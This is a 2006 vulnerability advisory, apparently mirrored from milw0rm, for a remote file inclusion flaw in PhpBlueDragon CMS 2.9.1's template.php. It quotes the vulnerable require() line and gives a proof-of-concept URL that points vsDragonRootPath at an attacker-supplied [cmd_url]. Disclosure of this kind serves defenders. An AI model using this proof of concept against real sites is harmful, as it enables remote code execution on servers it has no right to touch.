Php Blue Dragon CMS <= 2.9.1 (template.php) File Include Vulnerability

2006-06-14T00:00:00
ID SSV:16193
Type seebug
Reporter Root
Modified 2006-06-14T00:00:00

Description

No description provided by source.

                                        
                                            
                                                -----------------------------------------------------
Advisory id: FSA:015

Author:    Federico Fazzi
Date:      14/06/2006, 18:20
Sinthesis: PhpBlueDragon CMS 2.9.1, File inclusion vulnerability
Type:      high
Product:   http://phpbluedragon.net/
Patch:     unavailable
-----------------------------------------------------


1) Description:

Error occured in template.php, line 23:

---
require($vsDragonRootPath."public_includes/pub_kernel/pbd_template_custom.php");
---

2) Proof of concept:

http://example/[pbd_path]/software_upload/public_includes/pub_templates/vphptree/template.php?vsDragonRootPath=[cmd_url]/
(note this is with final slash (/))

3) Solution:

sanitized $vsDragonRootPath

# milw0rm.com [2006-06-14]